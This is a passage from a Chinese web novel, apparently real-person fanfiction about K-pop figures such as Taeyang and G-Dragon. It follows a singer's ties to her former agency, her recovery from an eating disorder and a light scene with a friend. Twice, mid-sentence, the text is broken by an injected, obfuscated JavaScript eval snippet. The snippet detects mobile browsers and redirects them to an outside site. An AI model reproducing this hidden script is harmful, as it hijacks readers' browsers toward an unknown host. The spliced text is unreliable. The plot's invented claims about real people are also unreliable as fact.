因为江留月,这里有了小小的骚动,闵孝琳也循声赶来,看到她的瞬间,闵孝琳露出了惊讶中又带着欣慰和如释重负的表情,她和东永裴一样急匆匆的跑过来,但却没有像东永裴一样停住,而是直接抱住了江留月。 她的性格和东永裴一样偏向于内向含蓄,如此热烈的反应,让在场的人纷纷侧目。 “我们塔伊辛苦了。” 闵孝琳丝毫不介意自己的婚纱裙摆都要被弄皱了,只是抱着江留月,轻轻地拍着她的后背:“来到这里真是辛苦了,谢谢你能 来,塔伊,真高兴你能来。” 她一遍遍拍着江留月的后背,好一会儿才舍得放开,然后看向东永裴,用手掌安抚的拍过丈夫的后背,最终停留在丈夫的臂弯。 她一只手挽着东永裴,一只手牵着江留月的手,直到CL和敏智跑过来,才将人托付给两个人一起去入座。 “婚礼结束之后还有聚会,一定要来。” 闵孝琳恳切的看着她: “塔伊啊,一定要来。” 江留月抿着唇笑了笑,点了点头。 闵孝琳这才松开了她的手。 CL和敏智围绕在江留月身边,敏智端着一杯香槟,假装喝的低着头,用含糊的声音说道: “欧尼,别回头。” 江留月怔了一下。 “你那人气十足的前男友来了。” 敏智咕哝道,然后将香槟一口闷了,深吸一口气:“放心吧,欧尼,我今天就是铁壁。” 江留月不该笑,但一下没忍住,还是笑了。 CL也笑嘻嘻的勾住了她的脖子说道: “我是铜墙。” 不多会儿,山达拉也来了,还带来了姜惠贞和星(注:YG元老女歌手,06年左右就已单飞,当时是seven的女友,和权志龙关系 如同亲姐弟一般),女孩子们自成一派,又都身份贵重,除了难得的叙旧温情和窃窃私语的八卦趣闻,再没有什么别的插曲。 江留月没有能参加聚会,因为参与婚礼的名人太多,狗仔们也比想象中的多,得知消息的路人们造成了周围的交通拥堵,为了安 全着想,艺人们只能尽快离开回到酒店下次再聚。 江留月回了酒店,第二天一早就坐飞机回国了。 她在机场翻阅昨天的新闻和饭拍,混乱的思绪和情感翻涌着将她吞噬又倾倒在沙滩上。 “为什么那么着急呢。” 金优被她的急匆匆离开吓了一跳,他以为江留月会多留几天,就算不为了东永裴,她明明在前两天聊天的时候约好和CL她们一起 去泡个温泉放松一下的。 “发生了什么不好的事情吗?” 金优有些担忧的问道。 江留月摇了摇头。 没有。 没有什么不好的事情。 相反。 都是好的事情。 都是温柔的人。 都是幸福的快乐的时间。 正是因为如此,所以……才要赶紧跑掉才行。 江留月参加东永裴婚礼这事儿上了两天热搜,昔日的YGfamily重聚又引发许多人的唏嘘,一时之间又冒出许多盘点科普考古视频,江留月让公关部找了点别的东西压下去,很快也无人再提了。 时间平缓的度过,比起江留月,江明月这个名字越来越占据主流,待到拍了七八个月的电视剧播出,江留月与新生代男演员的CP 借着这部制作精良的古装剧火得不要不要的。 出身韩娱,江留月玩起CP来手拿把掐,CP粉们嗑到死去活来高呼嗑到真的了,男主那边唯粉气的发疯,大粉甚至带头给男主写信 让他清醒一点:“江明月玩你跟玩狗一样,你别他妈的跟个傻逼一样当真了!!” 路人:哦,所以江明月真的玩他跟玩狗一样。 CP炒了三四个月就快过年了,江留月忙着解绑,毕竟她的下一部男主又要来了。 之前的CP粉自然有跟着跑的,也有反弹脱粉甚至转黑的,这样血雨腥风了一阵子,江留月收到了一封信。 闵孝琳怀孕了,东永裴特意写信告诉了她这件事情,并说因为闵孝琳怀孕了,所以邀请几个关系亲的来小聚一下。 信里面,东永裴还说聚会的厨师长恰好就是江留月之前在韩国最喜欢的私人大厨,东永裴为了能请到他,还托了许多关系,花重 金将这位在法国进修的大师请回了韩国。 【机会难得,来玩一玩,吃好吃的东西,留下好的回忆吧。】 东永裴是个对情感极为含蓄的人。 他似乎窘迫于表达对妹妹的感情,尤其对方是个未婚的女性,似乎总是在迟疑怎么样的表达,才能不至于误会的同时,又最能剖白自己的心意。 【我要有孩子了,因此最近每天都过得很幸福,但有时候也想到你,塔伊,我珍贵的妹妹,中国是你的故乡,我每次都这样安慰 自己,觉得你应该是幸福的生活着的。 ……请来聚会吧,我们可以交换一下幸福的生活故事。】 这封信折磨了江留月好久。 她好几天睡不了觉,在凌晨的夜晚坐在落地窗前对着手里面的信件发呆。 她很痛苦。 这种痛苦,是连金优都无法理解的痛苦。 曾经,权志龙也好,身边的人也好,无法理解她作为女儿、作为异国漂泊的游子、作为中国人的痛苦,现在,金优也好,新的团队也好,无法理解她作为‘YG family’曾经的一员的痛苦。 YG对她来说,只是个职场。 可YG对她来说,永远不可能只是个职场。 是踩上去吱呀作响的破旧地板,是终年有风从缝隙里吹进来的窗户,是炸酱面和糖醋肉一成不变的味道,是男女混用,每次用之 前都要哥哥们守在门口的简陋浴室,是麻浦区破败的小楼,是聚餐里举起来的酒杯与可乐,是生病时工作人员颠簸的后背,是老 师们习惯性在去酒馆之后为她带回来的西瓜味口香糖。 江留月在2017年年末正式离开了YG,从她来到这个公司为止,她在这个公司度过了11年的岁月。 这段时间,已经漫长到超过了父母陪伴她的时间。 江留月的原生家庭,是和母亲曾经相依为命的出租房,是华丽却没有人情味的江家,是独自生活的公寓。 Alice的原生家庭,是抱着沉重的演出服依偎在熬夜等待演出的哥哥们身边睡着的后台,是一个月一次考核的练习室,是Hip-Hop 激烈的节奏,是黑漆漆的克罗心,是走路的时候总是会崴到脚的高帮鞋。 离开YG的时候,她没能带走自己的艺名,曾经用alice这个名字来演唱的歌曲,也都失去了表演权。 2023年,江留月正式出道15周年的时候开了一场巡回演唱会,金优向她提交了一份费用单,上面是她要表演的歌曲的版权费。 YG大概太缺钱了,开了一个相当吓人的离谱数字,而且拒绝还价。 吉如心和金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815402|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优都气坏了,尤其是吉如心,她抱着键盘在录音室不眠不休的开始写歌,江留月怕她累坏了,去阻止她,提议去买一 些经典曲目的版权来改编也是一样的,或者从艾回那边买一些日专的歌回来重新作词就行了。 吉如心刚开始只是推辞,后面却开始沉默,到最后,吉如心忽然嚎啕大哭起来。 “明月,他们太不是人了。” “我咽不下这口气啊明月,他们怎么能这样对你。” 江留月擦拭着吉如心的眼泪,笑着安慰她说‘没关系’,她抱着吉如心道谢,不再拒绝她的好意,而是加入了创作的队伍。 《True Love》就是在这样的环境下诞生的,吉如心参考着江留月曾经在韩国发行的两张专辑的主打风格来制作了这样的歌曲, 因此这首歌有着强烈的Kpop风格,光听伴奏的话,听起来就是一首韩语歌。 吉如心写的初版的男女声对抗感非常强,以至于找不到合适的男歌手来加入,江留月亲自动手修改,成了后面的样子,最终又几 经修改,按照当时合作的男歌手的音色做了调整,最终发布。 如今东永裴听到的,是江留月第一次修改的版本。 是吉如心听完之后惊叹不已,说这首歌改完之后完成度太高了,但是她很快犯了难,说‘感觉没有太合适的人来feating’的那一个版本。 江留月枯坐在工作室一整个晚上,草稿纸上的眼泪干了又湿,铅笔的痕迹很快模糊不见。 她拿出手机,在通讯录【永裴哥】那里点开又切出来。 不是没有合适的人。 是,合适的那个人,不再有合作的机会了。 江留月和YG闹得太难看了,中国人和韩国娱乐圈的恩怨情仇,也太复杂了。 为了大家好,各自生活,是最理智的选择。 而且。 而且。 而且啊。 “是我做错了。” 江留月想。 “是我做错了。” 对过去的泥潭恋恋不舍,对一些缥缈的幸福感到快乐,忍不住走回头路的话,是她做错了。 那些夹杂在灰暗过去里的幸福时光,就像是吊在钩子上的肉,饥肠辘辘的她则是受伤的小兽,太饿了,太想要了,但是,一旦咬 住,就会重新被钩住命运,再也无法摆脱。 她的伤口还在隐隐作痛,却已经快要克制不住咬住钩子的冲动。 明明只有在中国,她才得到了完全的尊重,她说的每句话都有人听,而且,是每个人都会听。 好不容易过上了这样的好日子。 却又开始产生迷恋。 东永裴很好,闵孝琳很好,他们的孩子也一定很可爱,江留月想自己会是个溺爱小孩的姑姑;她还有很多好友,Haru已经是个大 姑娘了,她们两个可以拥有很多小秘密,敏智总是能找到一些离奇有趣的地方,认识的退役演员朋友在束草开了民宿,据说还养 了小鹿。 江留月改掉了歌曲的大部分设计,最终歌曲变得有些普通,吉如心觉得可惜,说可以找找看好的歌手来试唱。 江留月说时间来不及了,先这样吧,后面再出改编版。 虽然她也知道,最好的版本已经不再会实现了。 江留月这边放弃了原来韩国发布的过去之后,YG却慌了,这些年山河日下被三大除名之后连年亏损的YG发现江留月无心“再续前 缘”之后,忽然改了口风,专门派了曾经的工作人员来中国谈判。 这些工作人员早些年和江留月很有交情来往,江留月跟他们一起吃了饭,聊了很多过去的事情,然后让金优款待他们玩了几天, 然后将人送了回去。 没多久,YG再次来人了,这次他们愿意免费给江留月用,条件是到时候拍一些素材上传到韩国那边。 江留月再次抬起头。 偌大的体育馆里,射灯亮如白昼,身边负责舞台的工作人员们正在热火朝天的忙碌着,她手里握着试麦的麦克风站在舞台中央。 这是江留月出道15周年的巡回演唱会的收官场。 她没有再看到那让她饥肠辘辘,夜不能寐的钩子。 她知道,自己将重新迈入泥潭,重蹈覆辙的那条腿又收了回来。 但凡心软一瞬,她就会被死死掐住脖子,再拖回去。 韩国也好,YG也好,错误的缘分也好,他们再也握不住她命运的把舵。 闵孝琳生产的时候,江留月托人送去了自己亲手缝制的百家被,并附上了手写的书信,将自己不能来的事情含糊待过,只倾尽一 切告知自己对这对夫妇以及这尚在襁褓中的孩子的真情。 东永裴在INS上晒了被子,没有艾特她,但是写了很长一段感谢的话语。 江留月知道,他看懂了她藏在心里的话,她用小号点了个赞。 此时,江留月的INS,已经快要三年没有更新了,她的直接动态早就只能国内可查,正在宣传新的电视剧。 热评第一,是她电视剧的男主人公,下面是粉丝的控评排队。 那之后,江留月和韩娱再也没有官方明面上的任何互动,曾经亲如家人的朋友们各自稳妥的,朝着自己的幸福人生前行。 江留月知道,她选择了一条正确的路。 她没有再犹豫,认认真真的走了下去。 只是。 2014年,让吉如心做出了主旋律之后,江留月将记忆里的旋律与歌词几乎是分毫不差的复刻出来的瞬间,才迟迟看懂了那个2023 年的自己,为什么在那么多的爱里面,依然笑容越来越少,沉默越来越多。 “一定得是哥啊,我们就这样说定了。” 2014年,春日,距离YG family演唱会还有10天,江留月站在东永裴身后,看着电脑屏幕上随着旋律在跳动的线条,她用带着笑 声的,微微颤抖的声音说道。 东永裴戴着耳机没有听到,但是他正跟着伴奏,哼唱着里面的歌词: 【想要得到爱的想法和爱的本身都不是错误 为此而流下的眼泪和伤痛也是 你并不是傻,只是非常勇敢 不是爱眷顾了你 是你创造了爱的本身】 听着东永裴熟悉的声音,江留月的情绪逐渐平缓了下来,她靠在东永裴的椅子上,抬起手,为2023年的自己擦去了泪水。 25.越描越黑 25.越描越黑 10天对于一个新舞台来说,是非常紧迫的时间。 录制、编舞、彩排、实录都需要时间,好在江留月和东永裴对于舞台的掌控都如同呼吸一样自然。 两个人进入录音室不到三个小时,初demo就已经出来了,两个人听完了初版,又开始讨论舞台设计。 一首慢节奏的歌曲免去了编舞练舞的繁琐,走位也非常简单,现在的问题是需要给舞美留时间。 “明后两天我们先去排吧。” 东永裴揉了揉酸胀的眼睛,为今天的工作划上了句话:“我会跟文社长说一下情况的,等场馆开放了,我们就可以去实地彩排 了。” 这次的YG家族演唱会使用了奥林匹克馆,场馆现在已经开始在搭建舞台了,但艺人要下周才能进场。 江留月嗯了一声,这次演唱会的团队是跟随BB进行过2012年世巡的,东永裴对他们显然熟悉得多。 “不过,你什么时候成长了那么多,声音现在变得特别稳,高音也能上去了。”刚刚沉浸在工作的时候东永裴就想问了:“你的 发音方式也变了,是不是?” 江留月还没说什么,东永裴又补充道:“挺好的,原来那个发音太伤嗓子了。” 这就是公司曾经是小作坊的弊端了,不能说曾经的声乐老师没有能力,而是在那样的小作坊里,想要根据每个人的特点去制定科 学的发音方式显然是不现实的,只有通用的且速成的发音方式简单粗暴的套用在每个人头上。 自2009年权志龙个人solo之后,bigbang就又请了好的老师重新学了发音,当时的江留月正在拍摄一部文艺片因此错失了机会, 之后就不必说了,她把自己的事业搞得一塌糊涂,整日混在综艺与平面拍摄中,越来越不像是个歌手了。 当时不觉得,但后面回想起来,周围人潜移默化的否认也是她裹足不前的理由之一,大家似乎默认,她有着不属于YG的美貌,也 有着配不上YG的音乐实力,作为歌手的Alice比起同期其他歌手来说确实实力短了一截。 【Alice不应该当歌手,应该是个天生的演员或模特。】 【你只要脸蛋漂亮就行了。】 在这样的氛围中,江留月对于唱歌的自信心越来越薄弱,对于容貌的焦虑也越来越重,一度因为过度减肥和吃一些乱七八糟的美 白产品搞坏了自己的身体。 2014年的她也是如此,一米六二的身高连九十斤都不到,摄像头里看着还算纤细,现实中肉眼看只觉得瘦得伶仃,皮肤白得都要 发青了,人也没什么血色,因为过度减肥伤到了肠胃,食欲也很差。 好处就是,非常上相,极其上相,美丽得如同一朵冰雪雕琢的花朵,年初拍摄的杂志再次刷新了销售记录,拍摄用的服装首饰甚 至丝袜都卖到断货,甚至引发了一系列其他女艺人的风格模仿。 她的时尚资源一直都很好,瘦得快要脱相之后,更好了。 烦躁的人只有权志龙,他为她飞速掉落的体重头痛不已,害怕她把身体给搞坏了,于是自己在身边的时候就亲自陪着吃饭,如果 因为工作忙,就会委托其他人盯着她吃饭,还要江留月天天汇报。 本就因为焦虑吃不下饭的江留月因此更加焦虑了,吃或者不吃都会给她带来强烈的负罪感,就在无人知道的角落里,她走错了 路。 江留月开始催吐了。 她潜意识似乎认为,自己只有美貌的价值,好似没有吃到连轴开演唱会的苦,没有经历三天开两场演唱会的累,她就要从饥饿感 和自我折磨中找到与之对等的痛苦一般,她在吃完之后又吐出来。 第一次吐完的时候,江留月的脑子里突然冒出一个想法。 “……好浪费粮食啊。” 她捂着脸,哽咽着啜泣。 这样的日子大约持续了一周多,江留月被敏智的关心给吓醒了。 敏智在跟她说话的时候说:“你的声音怎么了,那么沙哑,你生病了吗?” 催吐带来的胃酸腐蚀着她的声带,她如同清泉一般悦耳的嗓音正在变成干涸皲裂的泥土。 江留月陡然一身冷汗出来。 她不敢找心理医生,只能去网上搜查资料,发现自己有着严重的焦虑与抑郁倾向。 她看到了自己脚下松动的泥土,前方深不见底的深渊。 江留月开始努力自救,她不想让任何人知道自己身上发生的这一切,于是花钱在国外找了线上心理医生,一点点的将自己从泥潭里拔出来。 这是一场痛苦的自我搏斗,她的气质也因此大为改变,透着一股说不出的阴郁和破碎感,整个人的情绪也变得敏感易燃。 权志龙本能的意识到她身上发生了什么,但江留月的缄默不语让两个人的关系反而变得剑拔弩张起来。 从玩笑话一下子点爆的情绪,只是沟通忽然变成了上纲上线,两个人难得的见面,温存的时刻似乎只有相见的瞬间。 江留月想要出去工作,但她已经厌倦了综艺,也要听从心理医生的暂时远离引发容貌焦虑的平面拍摄,而演戏这套路,权志龙又 因为两个人关系的紧绷而格外抗拒她拍摄任何暧昧或爱情相关的东西。 她常因为不知道自己能干什么而茫然。 甚至对自己本身的存在感到迷茫。 错误的发音方式,公司的放养,近乎于无得音乐资源也让她在歌手这条路上畏畏缩缩,她总觉得自己太差劲,因此格外焦虑于作曲家们的反应,张嘴的每个瞬间都变得迟疑和不自信起来。 【我太差了】 【我大概是YG最差的歌手】 【……好丢人】 这样几次受挫之后,江留月逐渐熄了发专辑和进行歌手活动的心思。 直到回到国内活动,她也一直没有再动什么重新发专辑进行音乐活动的想法,回国之初还没有跟YG彻底割席,参加活动用的还是 Alice的名义,但她都很少唱歌表演,大多活动还是以综艺为主。 新组建的团队对此并不赞成,但也没有更好的想法,只能且行且看,而且,团队们更发愁的是江留月本身的状态并不好。 虽然她看起来斗志昂扬,录制节目的时候也看起来活泼开朗能笑能闹,但只要摄像机关掉,就整个人看起来病恹恹的。 尤其是江留月自催吐之后一直食欲欠佳,吃饭顶多是维持生命体征,日常吃的营养剂比米粒多,愁坏了身边的人。 直到有一次,活动结束之后大家相约去吃夜宵,大家知道她肠胃不好,特意为她点了一份潮汕的海鲜粥。 糯烂开花的米粒混杂着莹润的虾仁、白里透红的蟹腿和翠绿的青菜叶,江留月用勺子搅拌了一下,热乎乎的雾气扑面而来,她忽 然有了胃口,低下头把那一小碗海鲜粥都吃完了。 她都没注意到,她吃到一半的时候,周围人吃饭的动作都慢了,尤其是阿苍,激动得一个劲拽旁边人的衣袖给他们看。 平时活动的时候也点过粥,什么吃的都点过,但江留月永远是猫一样闻两下吃一口就推开让阿苍分给大家吃了。 好不容易跟了一个前程似锦的新老板,脾气好又出手大方,大家都害怕江留月一下子病死过去。 金优已经在思考,要不要问问看这家厨师能不能被挖走了。 “明月我们再吃一点吧。” 见江留月放下勺子,阿苍假装漫不经心的说道。 江留月点了点头。 周围人都不说话,但每个人都在疯狂转餐桌的转盘,但凡这转盘是纯金属,这会儿都得是火花带闪电了。 那锅粥在五六秒内使命必达,转的太快了还差点荡出去。 阿苍临危不惧用手掌按住转盘,稳住大局,然后拿起大勺子为江留月添碗,江留月忽然喊了一声等一等。 阿苍紧张的人都要绷着了,旁边本来假装若无其事吃饭的其他小伙伴也都个个僵硬在全场。 所有人都怕听到江留月说一句不吃了。 江留月皱了皱鼻尖,她的眼睛还看着阿苍手里的小碗,黑溜溜的眼珠子在雾气里面湿润润的。 “……不要螃蟹腿,有点咬不动。” 她想了想,补充道: “要虾。” 那天夜宵店的老板很迷茫。 这群娱乐圈的客人们是半夜来的,菜都是提前点好的,以防万一,还额外留了一些招牌菜的份额。 怎么……怎么大半夜的追加那么多虾? 老板娘一巴掌糊之:“你懂个屁,明星都怕胖,虾又好吃又不长肉,他们当然喜欢,还不赶紧去打电话调货!” 这顿饭吃得大家都开心,临走前江留月还有一起录制的小伙伴还跟老板老板娘们合了影留下了签名。 节目播出之后闻讯而来的粉丝们占领了这家店,然后吃了同款菜单。 当天,江留月就有了新的江湖传说。 大家都说,她超爱吃虾的。 一周后,江留月看着接机粉丝送的小龙虾花束。黑虎虾花束、爬爬虾花束陷入了迷茫。 来接机的粉丝脸庞都红扑扑的,掩饰不住的开心和邀功:“塔伊塔伊,你喜欢吗?” 江留月被眼前荒谬的花束给逗笑了,一边说喜欢一边掏出手机拍照。 因为太荒谬了。 尤其是花束为了搭配黑虎虾爬爬虾基围虾小龙虾搭配的并非常规的花朵,而是花菜、朝天椒、香菜和大葱,更是将这份荒谬和滑稽衬托到了极点。 江留月拍了两张照片,整个人笑得都要站不住了。 粉丝们开心坏了,捧花的几个女孩互相击掌:“我就说塔伊会喜欢的!!!” 热烈的爱意是充足的阳光、雨水和土壤,江留月的焦虑在广袤的土地如同灰色的烟雾一般弥散开来,很快被风一吹,散的几乎看 不到了。 周围的人不停的问她什么时候发新歌,大家一直都在等呢,什么时候开演唱会,好几家承接商急得团团转,什么时候发专辑,一 定要留签名给我,那种热烈的,不掺假的期盼,让她重新燃起了自信心。 江留月在综艺上也搭上了一些音乐人脉,找到这些资深的前辈们诚恳的聊了之后给自己定了新的方向,根据自己的音色重新制定了适合的音乐风格,转头去了日本找到一位宗师级声乐老师。 也是那时候,她才知道,她的声音资本极好,只是一直使用着错误的发音方式,不仅让音色听起来不够饱满明亮,还造成气息不 稳,难以绵长的缺点。 江留月是个好学生,她聪敏好学,也不怕吃苦,还有清晰的目标,仅仅只是半年不到的学习,她的音色就变得更加清亮,气息也 变得稳定而绵长,甚至音域都要比以前宽广一些,能适应更多变化的曲风。 江留月顺利的发了新专辑,又开了巡回。 依然有人不喜欢她的歌曲,但很少有人再批评她气息紊乱,一首歌稀碎,偶尔她的一些舞台也被拿来当好的范本来讲。 待到她第二张、第三张专辑发出来,她已然成为一代歌手的代表,音综里翻唱她歌曲的人也越来越多。 此时,已经没有人再说,她拉低了YG的音乐水平。 这些人说,不愧是从YG出来的祖师奶奶。 这些人说,昔日YG女SOLO代表,即便出道15年夜依然吊打新生代。 这些人越来越少提到YG,YG跌出三大之后,近乎销声匿迹。 他们再次盘点,会说起她是现在公司的台柱子,以她为首都有哪些好歌手。 曾经压垮她的,像是山一样,似乎无法跨越的东西,原来是那么的轻飘飘。 不用风吹,便从她的人生里消失了。 如今江留月想起这些事情,如同大梦一场,只有电脑里那已经录制完成的demo告诉她,那坎坷而辛苦的路,她真的一步一个脚印 走出来了,也许2014年还没有她的一席之地,不懂得她的光芒万丈,也看不见她的灿烂人生,但她的嗓子里唱出来,再也不是支 离破碎,不被听见的悲鸣之声。 “我找到了更适合的发音方式,很认真的学了一下。” 江留月看着东永裴,莫名有些得意,她微微抬起下巴,很傲娇的说道:“怎么样,我厉害吧。” “真厉害,我们塔伊这次真的太棒了,发音变得很好,录出来的完成度也很高,怎么回事啊,那么点时间,我们塔伊就变得那么厉害了!” 东永裴不吝啬自己的夸奖,然后还要逗一逗她:“塔伊啊,出专辑的时候跟哥说一下,哥避开你行不行?” 江留月被逗的脸蛋通红:“干嘛呀永裴哥~!!” “对了,你专辑的制作人是志龙吧,这首歌志龙听到了吗?”东永裴像是想到了什么,假装若无其事的问道,实则心虚的攥紧了 手边的笔。 “还没呢。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823145|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留月说:“哥你是第一个除了我和作曲家之外听到这首歌的。” “啊……” 东永裴摸了摸鼻子,有些磕巴:“这、这样啊……” 话题一时之间有些凝滞,毕竟工作已经完成了,江留月将手机的免打扰关掉,哼着小曲在回复这段期间的短信,当然不忘记跟吉 如心报喜,并将demo发送过去。 “赶紧听听,虽然是第一版,但是我还挺满意的,多亏了你啊心心~” 江留月笑嘻嘻的撒娇道:“看到完成版的歌曲之后我觉得我更爱你了。” 东永裴听不懂。 他是真听不懂这两句中文,只是零星的听到了什么心啊,爱啊,满意啊。 然后江留月开心的笑了,对着手机就是一顿飞吻。 东永裴的脑子里混混沌沌的,如果用一段话来形容的话,那就是“他们忽然就说着什么爱啊喜欢啊满意啊就开始亲嘴了”的冲击 感。 “哥,那我就先走咯,你明天起来之后给我发排练时间吧。”江留月一边玩手机一边站了起来。 此时东永裴和闵孝琳已经开始交往了,江留月自觉的避开了单独吃饭,尤其是收工之后单独吃饭的行为,为这对忙碌的情侣留下 相处的空间。 东永裴却腾的一下从椅子上站了起来:“等、等一下……” 江留月站住,用有些疑惑的表情看着东永裴。 “你……你忙吗?” 东永裴艰难地咽了口唾沫:“不、不忙的话……哥请你吃饭啊。” 稀奇哦。 江留月歪着头,没有说话,但一个大大的问号飘在小脑瓜上。 东永裴莫名有种负罪感。 但他很坚强的说道:“忙都忙了一天,哥请你吃饭吧。” “……永裴哥,你有什么事情吧。” 江留月笃定的说道:“你直说就好了呀。” 东永裴额头都要冒汗了,他吞吞吐吐的说道:“我、我有个朋友……就……就是有个朋友啊,他有些情感上的问题,我,我想听 听女生的意见……” 江留月恍然大悟,露出了然的笑容。 江留月:“所以你和孝琳姐姐吵架了吗?想让我帮忙说好话?还是想让我参谋买礼物?” 东永裴条件反射的矢口否认:“没有!!我们感情好的很,我们才没吵架!!” 江留月啧啧了两声,露出‘别说了我都懂’的表情:“我知道了知道了,你们没有吵架,可怜的永裴哥,就让妹妹我来倾听你受 伤的感情故事吧,放心吧,有我在,我一定让你们今天晚上就迎接火辣的爱情!!” 东永裴:……不是你到底在没在听我说话!?!还有你小小年纪什么火辣的爱情啊主啊你原谅我善意的谎言还有这孩子无意中乱 说的话吧!! 他不想让江留月曲解过度,于是硬着头皮又说:“那,那……不然我们等志龙结束拍摄之后一起?我也想听听他的意见。” 东永裴决定今天晚上牺牲自己,用一个故事委婉的解除江留月和权志龙之间的误会或者不该存在的东西。 “……你听志龙哥的干嘛。” 江留月却露出了嫌弃的表情:“哥,说实话,志龙哥那样的恋爱方式,你用的话只会有反效果,不,不对,应该说,只是因为他 是权志龙,所以那种恋爱方法才能用。” 她发出一声冷哼:“换个男人,早就被分手一百万年了,哥你千万不能学啊,你学的话搞不好孝琳姐姐反而会更生气呢。” 真不是她DISS权志龙啊,权志龙那些谈恋爱小妙招放到别人身上,真的会分分钟被女生嫌弃甚至拉黑的好吗? 比如她哥就是一个会在吵架之后故意假装喝醉装可怜哇哇哭然后抱着她一顿撒娇,死皮赖脸的男人,正所谓男人三分醉,演到你 流泪,这种靠演技和茶艺上位的男人,能教会东永裴什么好东西? 况且……就算是教了……东永裴这样的钢铁直男,也根本学不会,勉强去学,搞不好会落得一个恐怖片效果。 江留月还要说什么,却见东永裴面如死灰。 “……也别伤心啊,哥,这不是你的问题,是志龙哥的问题,志龙哥坏,你好。”江留月赶紧补救:“你是个正常的好男人,别 跟那个坏男人学,你要相信,绝大多数的女人只会找这种人谈恋爱,想结婚,一定会找你这样的好男人的!” 东永裴没有觉得被安慰。 东永裴只觉得她吵闹,但说得有道理。 正因为有道理。 他更觉得眼前一黑。 “但是,志龙是真的爱你啊。” 东永裴忍了又忍,还是忍不住,很小声但很没底气的为自己的竹马辩白。 江留月:“?” 话题怎么忽然来到了权志龙身上? “你们俩之间只是存在误会,哪怕是变心了,也只是短暂的迷茫罢了,会回到正轨的,你们两个一定会幸福的。” 东永裴开始胡言乱语。 江留月皱着眉看着东永裴,片刻之后,露出有些恍然又有些疑惑的表情。 “哥……你的意思是说……志龙哥变心了?” 东永裴:“……啊?” 江留月眉头皱得更紧了:“你……是不是看到什么,想要告诉我啊。” 东永裴:“……啊……啊?” 江留月:“你看到志龙哥出轨了,现在在暗示我要去发现这件事情。” 东永裴:“……啊……啊啊啊?!不、不是!!!你在说什么啊你这孩子!!没有那回事啊!!!” 江留月不说话。 江留月只是抿着嘴看着他,眉头越皱越紧,双手逐渐环胸,表情十分严肃。 她轻飘飘叹了口气: “我知道了哥,你不用那么紧张,我知道你是开玩笑的。” 东永裴:……从你的表情你的语言你的状态来看,我觉得你并没有开玩笑的意思。 江留月紧绷的脸看着东永裴脸上变幻莫测的表情,忽然忍不住了,噗嗤笑了出来。 东永裴:????? 江留月笑得上气不接下气,好一会儿才忍住。 江留月:“永裴哥,你真好玩。” 东永裴:“……” 江留月:“不过你那个朋友是你吧,你真和孝琳姐姐吵架了吧。” 东永裴:“……” 清白这件事情,臣妾终究是说厌了!!!! 26.假面爱情 26.假面爱情 最终这顿饭还是以聚餐的形式吃上了。 东永裴和江留月在电梯里碰上了刚刚结束工作的其他人,有工作人员也有BOM和CL,人多口杂,东永裴和江留月默契的跳过了刚 才那个话题,再也没有提过,一起吃了个其乐融融的聚餐。 结束聚餐之后时间已经很晚了,李顺英站在门口探头探脑了好几次,江留月就知道,这也不是一个邀请东永裴再去喝杯茶的好时 候了。 艺人们自然各有经纪人或者助理来接,李顺英脚下已经丢了好几个烟头了,看起来等了很久了。 见到三场,李顺英笑眯眯的过来打招呼,顺便提起江留月的背包。 “怎么不是思风哥?” CL一只手臂揽着江留月的肩膀,借机小声说道:“听说那家伙最近闹得很凶呢,你真的要把他换掉?是打算让李顺英上位吗?” “不是。” 江留月轻声道。 关于南思风最近瞎折腾的事情,阿苍也告诉了她,说南思风非常不满江留月跳过他去筹备个人专辑的事情,不仅在私下和同事们 吐槽,还在喝醉了之后大放厥词,声称江留月没了经纪人自己根本不可能完成专辑,并且开始消极对待所有工作上的安排。 江留月有着未来十年的记忆,带有对未来十年局势的判断以及对自己事业的调整,她很清楚自己发专辑最好的时机就是在2014 年,最好是能在东永裴的个人专辑出现之前的一个月,正好在宣传的尾巴在带一波东永裴的宣传,就是再好不过的时机。 待到2015年bb回归,江留月正好能潜下心来和吉如心好好筹备中文正规专辑,乘着bb席卷内娱的东风坐稳自己在内娱的位置。 这次在家族演唱会上和东永裴放弃了大家熟悉的YG歌曲而选用吉如心的作品,也是提前为吉如心和日后的中文专辑铺路预热。 就江留月个人的事业线来说,这条路是没有什么问题的,问题在于这事儿如果从韩国娱乐公司的工作流程来说,的确是江留月做 得不对。 艺人想要发专辑,第一时间就要跟自己的经纪人商量,江留月理应将自己未来的事业谋划和自己的经纪人坐下来好好谈一谈,让 经纪人参与其中,提前联络记者、杂志拍摄、海报、广告代言等工作。 江留月没这么干,因为她实在是被曾经的那个世界里南思风的操作恶心得不轻。 在原来的时间线里,南思风整容之后当上了演员,然后在某个热门电视剧里扮演了一个非常不错的角色因此有了不小的知名度, 他本人显然也很喜欢这个角色的人设,为了能够圈更多的粉,他把歪脑筋打到了江留月身上。 最开始是在综艺上有意无意的提起自己曾经是江留月的经纪人,然后又开始有意无意的说自己有个很爱的人,但那个人对自己来 说可望不可及,后面那个人因为种种原因离开了,直到现在他也无法释怀,觉得是自己没有保护好对方。 这种舆论指引过于明显,很快有人将南思风和江留月对上了号,更荒谬的是,南思风尽管脸长得歪瓜裂枣,但身高和身材都还不 错,他在江留月身边工作期间经常穿着得如同艺人一般,再配上口罩,硬是生诌出一种“氛围感”来,还真有不明真相的粉丝在 营销号的带领下嗑了起来。 